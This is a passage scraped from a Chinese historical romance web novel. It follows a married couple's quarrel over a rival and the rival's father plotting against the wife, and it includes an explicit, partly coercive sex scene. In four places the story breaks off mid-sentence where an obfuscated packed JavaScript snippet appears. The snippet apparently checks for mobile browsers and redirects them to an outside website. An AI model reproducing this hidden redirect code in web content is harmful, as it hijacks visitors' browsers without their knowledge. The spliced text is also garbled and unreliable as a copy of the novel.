黑脸汉子纵马上前,伸杆就要去接,却见陆谌瞬间把缰绳在掌心绕上几道,一蹬马镫,猛地翻身而下,矫如燕子抄水,长臂一探,轻巧挑开他的球杆,顺势从马蹄下勾出彩球,看准时机,挥杖一击。 “啪”一声脆响,彩球腾空而起,有如灵蛇吐信,眨眼间破门而出。 场下安静一瞬,又齐齐爆出惊呼喝彩。 “上将军!上将军!” “陆三郎,漂亮!” 陆琬也激动不已,站起来拍手,“阿兄!好俊的身手!” 折柔却没有心思欢呼,反倒攥出了一手心的冷汗。 方才她看得清楚,陆谌是用左脚勾的马镫,可他那条腿上膝盖受过箭伤,一旦吃不住力必会坠马,这一招简直是惊险至极。 可场上陆谌却似越发激进,几乎是一反常态,面色沉静,下手却丝毫不软,拼夺,追截,挑杖,很快便一人连夺三筹。 见状,场下熟悉的禁军大笑起来,打趣道:“今日这球赛着实精彩,过瘾!好兄弟上场也不留情面哪。” 鼓声隆隆一阵接一阵,球场上拼抢越发激烈,尘土飞扬弥漫,马蹄声震天撼地。 彩帐中的女眷们看得应接不暇,一个个攥紧了帕子,屏住呼吸。 几轮追逐下来,蓝方只有谢云舟得下一筹,时辰却已过半,蓝队的将士渐渐有些急躁。 鸿胪寺卿家的张五郎尤为急躁。 眼看着今日陆谌在十六娘面前大出风头,他却还一球未进,甚至好几次到手的球都被陆谌截走,一时抢红了眼,新仇旧恨涌上心头。 鬼使神差一般,见彩球滚近,他余光看准情形,忽使猛力抽出一杖—— 彩球猝不及防地穿过人群空隙,直接抽中陆谌身下骏马的右耳。 那马儿骤然吃痛受惊,长长嘶鸣了一声,前蹄腾空,在场上狂奔起来。 全场一片惊呼。 折柔心一紧,倏地站起身,几步走出彩帐。 陆琬也急忙跟出去。 万幸陆谌反应奇快,眸光一沉,眼疾手快地控住缰绳,在掌心迅速缠过几道,手腕用力,猛地向后勒紧。 谢云舟也及时策马跟上,连同场上众人一起逼停了疯马,转瞬之间,一场险情消弭于无形。 折柔心神一松,后背已被冷汗浸透,握着陆琬的手都在微微发颤。 陆琬松一口气,反握住她的手,关切道:“阿嫂没事吧?” 折柔笑笑,摇了摇头。 正要往回走,余光忽然瞥见远处的彩帐外,有一个同样满是关切、又如释重负的身影。 心口莫名咯噔一跳,她定眸看去。 是徐十六娘。 两处离得有些远,看不清她的五官神色,可折柔刹那间生出一种直觉。 和旁人带着几分置身事外的惊怕不同,那是纯粹的担心心上人的模样。 方才陆谌的情形虽然惊险,但化解也只在瞬息,在场众人都还不及反应,只有她和陆琬急得走出了彩帐,除此之外,便是徐十六娘。 折柔愣了一下,脑中顿时一片空白。 禁军姓陆的将军、淡粉色砑花笺、衣领上的脂粉香、陆谌异样的神色…… 那些细微的异样在瞬间连成一串,交织出一个她不愿相信的可能。 是巧合么?可是……会有这样的巧合么? 折柔如坠冰窟,手脚冰凉发抖,脑中嗡嗡作响。 她不是没有想过,陆谌初回上京,官场上没有助力,少不了要应酬做戏,但他心是没有变的。 可原来……这些时日,他一直是在她和旁人之间左右逢源么? 郑兰璧想为他求娶徐十六娘,他是不是也有这样的心思?所以才会假称应酬,去见旁的女子,去教旁的女子骑马? 是啊,和那样金尊玉贵的小娘子比起来,她有什么? 她什么都没有。 好像被人生生捏住了心脏,攥成一团冷雪,胸口一阵阵地刺痛,甚至不敢呼吸,只想要干呕。 折柔感觉视线一瞬一瞬地发虚,周遭的声音听起来无比遥远,像隔了一层厚厚的罩子。 “阿嫂,你怎么了?”陆琬转过头,关切地看着她,“是哪里不舒服?” 折柔本能地摇头,拍了拍她的手,挤出个笑来,“没事,可能是方才吓着了,胸口有点闷,我去池边吹会儿风。” “那我跟你一起。” “没事,我自己就好。” 陆琬见她似有心事,不想让人知晓,于是也不多做坚持,只吩咐女使远远跟着。 折柔走出不远,身后忽然起了异动,像是马蹄震地,周围的人纷纷惊呼奔逃。 “娘子小心!”有人冲她呼喊。 折柔也察觉到危险,可脑中嗡鸣不止,身上没有力气躲避,她完全来不及反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874308|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应,茫茫然间,只看到一片红底织金的衣襟,有人护住她的后脑,抱着她扑摔到地上。 越过那人的肩头,她看见一道青蓝身影凌空飞身跃上疯马,手臂缠住缰绳,不要命似的向后猛地一拉,只听一声巨响,连人带马一齐轰然倒地。 全场一片哗然,四周的禁军和侍者都白了脸,齐齐朝这边奔来。 折柔倒在地上,慢慢回过神来,抬头看向身上的人。 日光强烈刺目,完全看不清眉眼五官,她却一瞬认出是陆谌。 “妱妱!”他急声唤。 鼻子一酸,眼前的人瞬间成了模糊的影子,眼泪不断地往外流。 折柔闭了闭眼,把头转到一边。 陆谌脸色猛地一变,一把将人抱了起来,回头厉声唤军医。 那边禁军七手八脚地拉走了倒地疯马,谢云舟捂着胸口站起来,几步追过来,急问:“她伤着哪了?” 陆谌眉目阴沉,不动声色地避开他伸来的手,“先让军医看了再说。” 今日设办马球赛,禁军中的军医都在苑中随侍听调,闻令很快赶过来,毕竟是女眷,军医只草草检视一番,试探着问:“娘子身上可有何处疼痛?” 折柔摇了摇头,轻声道:“我没事,请先生去为小郡王诊治吧,倘若落下内伤,此刻耽误不得。” 陆谌抱着她的手臂霎时一紧。 折柔发觉他的不对劲,却全然无心理会。 她拼命地掐紧了手心,强逼着自己冷静下来,忍住泪,不要叫旁人看出异样。 一场马球赛变故频生,陆谌和同僚简单交代几句,又吩咐人给陆琬送了信,带着折柔登车返程。 回到马车上,折柔才看见陆谌手背上划破了好几道口子,流出来的血顺着手腕直淌进衣袖,到此刻几乎已经凝干,想来是方才情急护着她,擦过了草坡里的碎石。 而她只过问了谢云舟。 不过,即便她如今看见了,也不打算再过问。 折柔抿了抿唇,垂下眼眸。 马车里一片死寂,两个人都沉默着不说话。 “不高兴?”陆谌终于开了口,眉眼间却是山雨欲来,仿佛在隐忍压抑着什么。 折柔低着头,咬紧了唇,丝毫不想做出理会。 她心里憋满了各种各样的疑虑和难堪至极的猜测,想问却又不知该从何问起,隐隐地,又怕当真从他口中得到证实,千思万绪,直闷得胸口生疼。 “怎么?担心鸣岐?”他语气里带了淡淡的嘲意,“放心,他伤不到筋骨,下回见面,照旧能帮你捞鱼。” 折柔一怔,待反应过来,只觉不可思议,他这是什么意思? 怒意压过了心中难过,折柔气得发抖,抬起头直视着陆谌,一字一句道:“我与鸣岐,清清白白,从无龌龊。” 我与鸣岐。 这几个字入耳,陆谌额头青筋急跳,脸色一阵阵发白。 一股邪火猛地从心底蹿起,如同沸腾起一大片滚油,几乎要叫他五内俱焚。 她从知慕少艾起,便只有他一人。 从初次十指相扣,初次唇瓣相触,再到后来新婚洞房,她明明羞涩得都不敢看他,却又大着胆子缠眷,贴着他的耳畔,细细软软地唤他陆秉言…… 那是他的妱妱,他的妱妱,他决不能容忍旁人觊觎。 半分都不能。 陆谌咬紧了牙,抬起她的下巴,强自压抑着怒意,“妱妱,他谢鸣岐对你是什么心思,难道你还不清楚?” 真是奇怪,明明是同床共枕了三年的少年夫妻,她竟会在某一瞬觉得眼前的人陌生。 鼻腔愈发酸涩,折柔仰脸看着陆谌,眼眸里渐渐蓄满泪意,她抖着嘴唇,一路上憋闷在心里、不知该如何开口的疑问突然间脱口而出:“陆秉言,那你对徐十六娘又是什么心思?” “旬日那天你不在樊楼,是去见她了,对么?” 14. [锁] [此章节已锁] 话音落下,车厢里安静一刹。 折柔身上失了力气,紧紧抵靠在车壁上,模糊中看见陆谌的身形一瞬僵住,只觉一颗心沉沉地坠下去,周身流淌的血液都变得冰冷。 良久,陆谌神色凝滞,缓慢开口:“你说什么?” 方才一时气急,未经细思便将话扔了出去,或许脱口的刹那她还有几分悔意,但此刻却隐隐生出一种说不出的痛快。 只是即便如此,这样的话她亦没有勇气再问第二遍,那样痛,痛得她快要直不起腰来。 折柔强忍住眼中涩意,转头去看车外熙攘的街道。 “是有人与你说了些什么?” 好半晌,身后传来陆谌干涩发紧的声音。 他这般的反应,几乎已是直承其事。 无人知晓,她有多盼着能听见他的驳斥,笑她在胡思乱想些什么。 可是没有。 折柔忽觉心脏抽痛,眼泪无声地流下来。 看着眼前人纤瘦的侧影,陆谌眸色晦沉,抬手想替她擦去颊边的泪珠,却被折柔偏头避过。 伸出的手滞在半空,陆谌只觉一瞬被人攥紧了心脏,骨缝里溢出一丝丝无力的酸冷。 年少相伴四载,陆谌又怎会不清楚她的脾性? 明明看着是最柔弱温和不过的性子,骨子里却尤为坚韧倔强,倘若认定了一个人,哪怕前路千难万险,独自一人穿过莽莽黄沙也誓要带他回家,可若是当真伤透了心,千万匹马也不能拉她回头。 宁折柔宁折柔,真真是人如其名的刚烈。 为此,他从一开始便瞒着她,却不想女子大都对这等事天性敏感,竟让她窥见几分端倪。 沉默片刻,他哑声道:“妱妱,看着我。” 好半晌,折柔抿了抿唇,转头看向陆谌。 夕光顺着竹帘漫进车厢,在他脸上镀了一层薄薄的暖色光晕,模糊了青年锋锐的五官棱角,看起来竟显出几分少年时的温润,让她有一瞬的恍惚。 “我对徐家女并非你想的那般。” 陆谌掂量着措辞,决定从头开始解释,“六年前官家主持变法,可后来河西兵败,新法一时受阻,官家想继续推行新政,必得以铁腕震慑弹压。 是以徐崇揣度君心,借着东宫谋逆一事,指使王仲乾用我父亲做投名状,给官家递上一个对旧党开刀的借口,从此陆家败落,徐家平步青云。” 陆谌顿了顿,漆黑幽邃的双眸直直看向折柔,咬牙道:“妱妱,此仇不报,我枉为人子。” 折柔眼睫轻颤,抿着唇一言不发。 陆谌端量着她的神色,继续道:“但如今徐崇权势显赫,既是外戚又简在帝心,门生党羽更是遍及朝野。妱妱,你也知晓,他为人疑心深重,对我忌惮尤深,倘若被他暗中辖制,我在上京绝无出头之日。徐十六娘只是他抛出来的一个饵,要试探我是否当真放下了旧事,全然信服于他。” “我对那徐家女只是在场面上往来应付,做给徐崇看的一场假戏,让他对我彻底放下戒心,除此之外再无其他。” 陆谌将折柔的手合进掌心,紧紧凝视着她的面庞,语气中隐有沉痛,“我们才是夫妻,妱妱。我心中只有你一个,又岂会有旁人?” 良久,折柔怔怔地看着他,“我想着你大抵是有难处,官场上少不得应酬……于是我满心欢喜地筹办药局,又对自己说,或许过些时日就好了,一切都会好的……” 看出她眼中的挣扎,陆谌心中一霎微松,反复摩挲着她的指尖,低声道:“妱妱,是我的错,但我对旁人当真没有半分情意,你容我些时日……” 折柔淡淡一笑,落下眼泪,“可你明知她对你有意。” 陆谌僵住。 “你明知我会难过。” “陆秉言,你欺负我。” 这些话落下来,陆谌无可辩驳,只觉心脏一阵阵剧痛,声音艰涩低哑:“妱妱……” 信任一旦出现裂痕,再多的言语和歉疚都难以修复。 她少时孤苦,漂泊无依,对于后半生,她所求不多,只是想和心爱的郎君过上安稳日子。 为此,她可以忍受旁人的冷言冷语,也可以忍受婆母的刁难搓磨,可她不能忍受心爱之人欺她至深。 折柔摇了摇头,眼泪无声地掉在软垫上,“我出身卑微,于你仕途无所助益……你有鸿鹄志,需得青云梯,不如……不如我成全你。” 陆谌愣了一下,旋即明白过来她的意思,顿觉周身寒意入骨,恍惚有种心脏骤停的错觉,“成全?你要成全我什么?” 不及折柔再度开口,陆谌一把扣住她的手腕,咬牙看着她,眸光隐忍愠怒,“妱妱,你还要我怎样讲?我对徐家女从来都不过是应付,决无半分逾矩,亦无分毫情意,更不会与她议亲求娶!” 折柔抬起头,看着他笑了笑,“我与鸣岐也从无半分逾矩。” 一阵锐痛猝不及防地穿心而过,陆谌气红了眼,“妱妱!” 折柔看着陆谌俊瘦的脸庞,心中痛如刀绞。那是她少年相伴、真心喜爱的郎君啊。 看见他这般又怒又痛的困兽模样,她又何尝当真痛快?言辞如同两边开刃的利剑,将彼此都伤得鲜血淋漓。 她痛恨陆谌的欺瞒,更痛恨自己突如其来的心软。 爱与恨、嫉与妒,诸般滋味错杂在心头,她只觉茫然无措,心乱如麻,需得独自静一静。 折柔唤了声平川,要他停住马车,打算推门下去。 不料陆谌反应极快,不待她掀开车帘,立即伸手将人拽了回来,捉着手腕紧紧锢住,折柔毫无防备,猝然跌入他硬热的胸膛。 忽然间天旋地转,折柔还不及挣扎起身,陆谌一手掌住她的后脑,一手箍着她的腰肢,薄唇挟着翻腾的怒意蛮狠而急切地吻了下去,唇舌交缠吮咬,像是要将她全然侵占,不留半分空隙。 呼吸被掠夺殆尽,胸口一阵窒闷,折柔本能地推拒躲避,向后挣扎,却反倒被陆谌越发用力地缠紧,按着她纤薄的背脊压向怀中,热烫的气息从四面八方侵袭而来。 仿佛要将她融入骨血。 陆谌手背上的伤口不知何时又挣裂开来,热血顺着折柔的鬓发流入后颈,仿佛要融化肌肤,灼得她心脏一紧。 折柔回过神来,开始奋力挣扎,用力地去推他肩膀,“陆谌!你放开我!” 陆谌眼圈发红,一手捉住她两只手腕,抵在胸前,紧紧固住,热息喷洒在她脖颈上,“妱妱,别闹。” 呼吸交缠间,他一手顺着衣摆探进去。 折柔顿时一个激灵,想要扭身躲开,可陆谌按在她背上的手沉着有力,不由分说地将她禁锢在怀中,她进退不得,只能被迫承受。 结发恩爱多年,两个人对彼此的身子熟稔至极,陆谌若有意要让她快活,自然是得心应手。 马车行过繁华的瓦市,喧嚷的叫卖声和交谈声透过竹帘钻入车厢,嘈杂热闹仿佛就近在耳畔。 如此境地,实在是让人羞恼交集,折柔呼吸急促,只能侧过头,避开他的视线,呜咽出声,“陆秉言,你混帐!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马车还在市井间穿行,车窗上的竹帘轻轻晃动,街巷里人声喧嚷。 陆谌提起她细软的腰肢,按在车壁上,沉声朝外吩咐,“去城外。” 平川似是有所察觉,很快驱车离开热闹的瓦市,转入一条僻静小路,周遭的声音渐渐变得稀落。 陆谌低低地喘息。 “妱妱,待一切事了,我为你请封诰命,再不会有人敢欺负你。” “……都是我的错,从前洮州苦寒,如今回了上京,我们早些生个孩子,不拘是小郎君还是小娘子,只要生得像你便好……往后好好过,嗯?” 可不论他说什么,折柔死死地咬紧了唇,只是摇头。 马车微微颠簸。 陆谌在身后,吮咬着她的耳垂,滚热呼吸烫灼着她的后颈。 “妱妱……” 折柔只觉脊心一阵阵酥麻,一时间竟说不清是欢愉还是难耐,不由得仰起脖颈细细喘息。 陆谌俯身,轻吻去她颈后细汗,低声道:“还记得成亲那日么……喜娘悄悄给你出主意,让你夜里把绣鞋压到我的靴子上,说什么保管叫郎君一辈子听你的话,可你羞得只是笑……后来还是我趁你睡了,替你把绣鞋压到上面去。 妱妱,我愿意叫你压一辈子……咱们好好的,成不成?” 听到最后,折柔眼眶忽地一阵酸热,泪珠滚落下来,她浑身发颤,忍不住呜咽出声:“陆秉言……” 15. 第 15 章 天光黯淡,暮色四合,马车一路沿着僻静处朝城外走,车厢里的动静时断时续。 衣袂无声地交缠,披帛扫过靴面,汗津津,热涔涔。 海棠色的束发丝绦垂落到颈边,拂动间犹如水波荡漾,软垫上染一层薄薄的水光。 模糊昏暗的光线放大彼此的感官,陆谌咬紧了牙,额头青筋急跳。 他看不见她的神色,胸腔里仿佛空了好大一个缺口,怎么都不得满足。 “妱妱,回头。”陆谌声音低哑,带着薄茧的温热掌心从后覆上柔软,隐约似有求恳,“看看我。” 折柔扶着冷硬的车壁,指尖用力到发白,忍着溢到唇边的声音,不作回应。 她心中一片杂乱,不知该如何面对陆谌,亦不知要如何面对自己。 在洮州同甘共苦了四载,没有人能比她更清楚陆谌的不易。 当年为了治好伤腿,他吃过的苦数也数不清,一次次生出希望却换来一次次的失望,摔倒了无数次,疼得浑身衣衫被冷汗浸透,轻轻一攥便能淌出水来。 初入军营,他拼命换来的战功被人抢占,求告无门,只能继续冲在阵前,做提头卖命的小卒。 她见过陆谌最狼狈脆弱的时候,独自一人借着淋雨无声落泪。 她知道回到上京、重振门楣是他心中的执念。 从尸山血海里爬出来,硬拼着一口气才走到今日,他要为父报仇,要出人头地,怎么会不难呢。 她更记得陆谌的好,记得在她染病的时候,他是如何熬红了眼,不眠不休地照料。 爹娘早逝,没有旁的亲人待她好,所以她尤为贪恋这份尘世的温暖。 可越是年少情真,她越是难以忍受他这般左右逢源,与旁人逢场作戏。 一颗心仿佛被生生撕裂成两半,一半妥协,一半愤恨。 恨他欺瞒,更恨自己不够狠心,茫然间寻不到出路。 察觉到她在咬唇忍耐,陆谌心头一阵隐怒,想也没想便曲起两根长指,径直送进她的齿间,教她咬着发泄:“咬自己算什么本事,嗯?” 说不清心里是什么滋味,折柔呜咽着,死死咬住他的指节。 仿佛他给予多少欢愉,她便还以多少痛楚。 唇齿间弥漫开淡淡的腥甜味道。 夜幕低垂,僻静的郊外,两道喘息声在逼仄的车厢里纠缠回响。 最后,陆谌扳过她的脸,迫她转过来,勾缠住她的舌尖,缠绵着深吻,连同唇齿间的血气也一道吞吃殆尽。 下一瞬,入骨的酥麻汹涌而至,折柔眼前泛起一片茫茫的薄雾。 陆谌一把捞住她脱力下滑的身子,擦去浮汗,用外袍仔细裹好,紧紧揽在怀里。 “妱妱。”陆谌抚摸着她汗湿的发丝,哑声低唤,“莫再生我气了,成不成?” 浑噩过后,余韵褪去,折柔疲累地蜷起身体,只感到难以形容的茫然孤独。 仿佛是飘荡在海面上的一叶孤舟,不知来路,亦不知去处。 平川和南衡守在数丈以外,遥遥听见车厢里彻底安静下来,抬头见天色愈晚,再过些时辰城门便要下钥,俩人对视一眼,默契地出手猜拳。 下一刻,平川一脸丧气地白了南衡一眼,放轻手脚走到车前,小心问道:“郎君,城门快下钥了,咱们可要回去?” 不多时,车厢里陆谌哑声应下。 平川忙轻快答了声是,马鞭一扬,驱车赶回城内。 马车一路微微颠簸,回到府中,折柔已经倦极,昏昏沉沉中睡得熟了。 陆谌帮她收拾干净,随后在榻边坐下,带着薄茧的指腹轻轻抚过她眉眼,他凝视着折柔恬淡安宁的睡颜,沉默良久。 看见她哭得眼皮发红微肿,即便已经睡熟,眉心依旧轻轻蹙着,陆谌只觉满心怜惜,仿佛胸腔里跳动的东西被她攥住,一牵一牵地疼。 不是不愧疚,不是不心疼。 当年陆家出事,他一夜之间从天之骄子跌落尘泥。 父亲死了,素来温和儒雅的文人,在皇城司的地牢里被刑求至皮肉破碎,面目难辨。 一向高傲自矜的母亲头发散乱,形容狼狈,像市井疯妇一样死命抓着他的手臂,指甲深深掐入血肉,嘶声厉喝:“三郎!你要活着,一定要活着回来,重振陆家门楣!” 可他前路未卜自身难保,双手双脚都被锁着铁镣,押送的小卒一把将他推搡开,手中木棍狠狠抽在他的肩背上。 彼时他什么都没有了,流放路上遭人暗算,箭伤入骨,高热不退,没有银钱去看郎中,只能躺在城隍庙里咬牙硬抗,不敢死,却也活不起。 万幸,他遇见了妱妱。 她生得那样单薄瘦弱,却用尽全身的力气撑着他往前走,一圈又一圈,累得浑身是汗,却又抬头冲他笑,夸他真厉害,今日又多走了几步。 数不清多少次,他一低头便能看到她头上小巧的发旋,可怜可爱至极。 其实他那时满心的戾气,整日压抑着担心自己成为废人的恐惧,可她明明也吃过很多苦,却总是笑盈盈地望着他,柔声宽慰,一次次撑着他站起来。 这世上再不会有旁人能待他如此,伴他从污泥中一步步走出来,只有他妱妱。 所以他认错,他有愧。 但他不后悔。 既已决意入局,便理应落子无悔。 权势前程他要,妱妱,他也要。 他本就是这般果决偏执、破釜沉舟的性子,骨子里天生带着几分赌性,为达目的,不惜剑走偏峰。 若非如此,他又怎能咬着牙重新站起来,再一步一步,从九死一生的僻远边镇走回上京? 但凡换个软弱犹豫些的脾性,经历洮州充军的那三年,只怕早就成了一具重重黄沙掩埋下的无名枯骨。 再等等。 等到徐家的事有了着落,等到他为她挣来凤冠霞帔,他们会有很长的一生要过。 他的妱妱,如今虽是同他闹了些别扭,但他有的是耐心,总能慢慢哄得她心软。 ** 入夜,徐府。 书房里摆着一尊鎏金奔兽博山炉,清雅的荀令十里香从炉中溢出来,一线云烟袅袅升腾,仿佛要烧出直上青云的架势。 徐崇坐在楠木书案后,听着幕僚禀事。 “……禁中送来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916683|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息,今日三殿下不知缘何又惹得官家动了怒,甚至被怒斥为‘不知手足情谊,性冷心硬’,这话实重……属下思量再三,能在官家口中算得上三殿下手足的,那大抵只有谢小郡王……” “此外还有一桩要紧事,近来收到风声,有人在暗查两淮一带的盐铁转运,似乎已经查到邗沟附近那群水匪的头上,此事不得不防,毕竟……” 话到一半,书房外忽然传来一阵吵嚷怒斥的声响,幕僚神色一紧,立时噤了声。 徐崇神色也显出几分不善,抬起眼,就见周氏面色沉怒,一阵风似的走到门上。 徐崇递了个眼色,示意幕僚暂且退下,接着不疾不徐地看向周氏:“做甚这般着急?” 瞧见他这副隐约不耐的模样,周氏心头怒火蹭地又高涨了几分,“都是你出的好主意!容娘今日本来高高兴兴地出了府,可回来的时候简直就跟丢了魂似的,把自己关在屋子里,谁都不肯见,你瞧瞧,都到这个时辰了,连暮食都还没用过呢!” 徐崇今日烦心着旁事,倒确实不曾顾得上这厢,不由出声问道:“出了何事?” 周氏早已憋了一肚子的火,听他这一问,登时摆开架势:“我就说那姓陆的家里养着内宠,算不得良配,你非要把我好好的女儿搭进去!如今她一颗心赔了进去,看见郎君真心疼宠旁的女子,怎会不难过?” 一边说,她一边恨恨地咬牙,将白日里在金明池畔的情形一一道了出来,诸如陆谌如何宠惯宁氏,又是如何在疯马冲出围场之时,直接把人护在自己身下云云。 慢慢听明白了原委,徐崇反倒松下一口气,这世间男子纳妾养宠简直是再寻常不过。 倘若陆家小郎全然不近女色,摆出一副忠贞做派,一心只和十六娘来往,他才反倒要疑心作伪有鬼了。 沉吟片刻,徐崇不以为意地道:“叫容娘不必为个无关要紧的玩意儿吃味,改日让她与陆三郎说一声,要他把人远远送走便是。” 细一想来,这倒算是个不错的契机,他也乐意瞧瞧那陆家小郎会作何处置。 可周氏并不答允他这法子,柳眉顿时一竖,急急道:“就冲陆三郎今日在球场上那疼护的架势,分明是放在心尖上宠着的,就算一时送走了,往后也是个麻烦,谁知他会不会偷着当个外室养起来? 再者,万一养出了身孕,生下个把贱种庶子来,难不成我容娘这般身份的女郎,将来还要和那起子上不得台面的东西争宠不成?怄都要怄死了!” 徐崇耐着性子,听完周氏好一通后宅女子的琐碎计较,这才哂道:“我还当什么大事。” “不过区区一个蝼蚁女子,容娘既嫌着碍眼,那我这个做父亲的,寻个机会替她除了便是。” 周氏闻言微微一愣,半晌,反倒慢慢蹙起眉头,有些犹豫起来,“我觉着不成,动辄打杀人命,这……这实是作孽。更何况……活人又如何争得过死人呢?” 徐崇一噎,抬头不耐道:“那你要如何?” 周氏思量片刻,下定决心:“你给我点几个得力的人手,我们后宅女子有后宅女子的交际手腕,且先试试我的法子,倘若不成,再说旁的。” 16. 第 16 章 自打那日从郊外回到陆府,折柔便不再理会陆谌,一心忙起女科药局的事。 不论将来如何,开药铺做营生是她的立身之本,既然开了个头,便不能半途而废。 隐隐约约地,她也存些了旁的心思,想着倘若药铺能支应起来,攒下些银钱,那就算有朝一日要离开上京,她也足够养活自己。 新开的铺子杂务繁多,既要对账采买,又要赶制新药,折柔索性让小婵简单收拾几样衣物行李,两个人住进了药铺里。 陆谌听闻此信,倒也没有阻拦,只是吩咐南衡往药铺多调了些护卫,又赶着下值过来陪她一道用暮食。 折柔拗不过他这般缠磨,却也没有心力来应付,索性便由着他去了。 不论陆谌说些什么,她只低头理账,不发一言,全当屋子里没有他这个人。 一直等到夜深,见陆谌还没有走人的意思,折柔抿了抿唇,只道:“时辰不早了,我要歇息,你自便罢。” 说完,她没有分毫停留,径直起身去了后院卧房,熄灯睡下。 只是睡也睡不踏实,到后半夜屋外又落了场雨,雨声沙沙作响,扰得人心烦意乱。 迷迷糊糊地醒来,窗纸上已浮起淡淡的蟹壳青色。 想着白日里还有许多杂务要忙,折柔没有再多歇,起身穿衣。 然而推开门,就见檐下的石阶上坐着一个熟悉的背影。 夏衫轻薄,被雨后晨间的水汽打湿,紧紧贴在他的背脊上,勾勒出清瘦紧实的后背线条,竟无端显出几分狼狈憔悴。 像是在此处一动不动地坐了整整一夜。 折柔一怔。 说不清心里是什么滋味,她只觉一眼都不想再多看,转身就要回屋。 忽然被人从后拦腰抱住。 “妱妱……”陆谌声音嘶哑,低低唤道。 他身上几乎没什么热意,浸透了晨间湿冷的潮气。 “妱妱。”陆谌用力将她搂紧,冰冷的唇吻在她颈间,哑声问:“同我回家……成么?” 回家。 听着这两个字,折柔心里忽地一酸,身上的力气仿佛在一瞬间被抽干。 她咬住了牙没有回头,只是推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919670|159437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开陆谌的手臂,独自回了屋。 两个人就这般僵了几天,小婵不知内情,只以为陆谌是当真和旁的女子有了私情,看着折柔神色隐约憔悴,她既心疼又气不过,一边帮折柔清洗草药,一边红着眼道:“郎君怎么能这样呢?他曾经明明,明明……” 折柔淡淡地笑了下,“明明曾经许诺此生绝不会有旁人,是么?” 小婵一瞬攥紧了手中草药,气愤点头。 折柔低头翻拣着晒干的莪术和当归,过了好半晌,她才轻声道:“一辈子这样长,谁又能保证一成不变呢,就算他毁了诺,难道我要拿着当年的誓言去指责他说话不算么?未免也太可怜可悲了些。” 而且,如若郎君当真变了心,那质问又有什么用呢? 这道理折柔想得明白。 一时有一时的心境,起码当年陆谌说这话时,也是真心实意的,这便够了。 她没必要将自己一直陷在过去里,人总是要向前走的。 等到晚间,陆琬忽然打发小厮给折柔送来帖子,说是在潘楼订了间酒阁子,邀她明日去吃酒。 17. 第 17 章 折柔清楚陆谌的脾性,他轻易不会与人言及私事,陆琬的邀约多半和他无关,既如此,出去散散心也好。 这般想着,她便应承了下来。 第二日早早收拾停当,折柔仔细打扮了一番,梳妆绾发,鬓边簪朵素净的玉栀花,配一对琉璃珍珠耳珰,又淡淡敷上一层粉,对镜看了看,瞧不出气色上有什么异样,这才放了心。 吩咐伙计守好铺子,折柔带着小婵去往潘楼。 大晋民风极为开放,城中不设宵禁,夜市繁华,女客结伴宴饮也属寻常。折柔刚到潘楼门前,就有过卖[1]满脸堆笑地迎上前来:“贵客是订雅间还是散座?” 折柔笑笑,报上订好的阁号,过卖越发殷勤,呵着腰,比手引她走上二楼的雅间。 潘楼里灯火通明,珠帘锦屏,一派豪贵之气。陆琬已经到了有一会儿,见折柔进来,眼神立刻一亮,笑着起身,迎过去拉她入座:“前几日阿嫂药铺开张,正赶上我府里也忙着,没能脱开身,今日便借着潘楼新出的琼波酒,为阿嫂好生庆贺一下。” 她生得粉面桃腮,双眸含笑,语声亲切甜软,瞧着便让人欢喜。 折柔忍不住笑起来,随陆琬到阁中的雕花小几前坐下,“多谢琬娘了。” 说着,她示意小婵把带来的锦盒递过去,柔声道:“入夏潮湿,小孩子肌肤娇嫩,最易生疹,我做了几个祛湿的药囊,可以给你家中的小娘子挂到床帐上。” 陆琬心中感动,吩咐女使仔细收好,笑盈盈地看向折柔:“还是阿嫂最好了,我替萱姐儿谢谢舅母。如今日子安定了,阿嫂几时也生个孩儿,我可等着做姑母呢,红封都预备好啦。” 折柔心中一瞬涩然,只温和地笑笑,当做默认。 问过折柔的口味喜好,陆琬挑着铛头拿手菜色点了几样,再配上鸳鸯炸肚、烧羊头和玉灌肺,又叫了一壶琼波酒。 过卖很快送上酒来,陆琬举起酒盅,笑道:“我敬阿嫂一杯。” 折柔含笑同她碰了碰杯,低头抿了一口。 绵酒入腹,竟有些辛烈的余味,折柔只觉喉头一阵热辣,却又有种说不出的痛快,倒似有几分杀恨。 陆琬也不禁咋舌,“这酒倒有点烈性。” 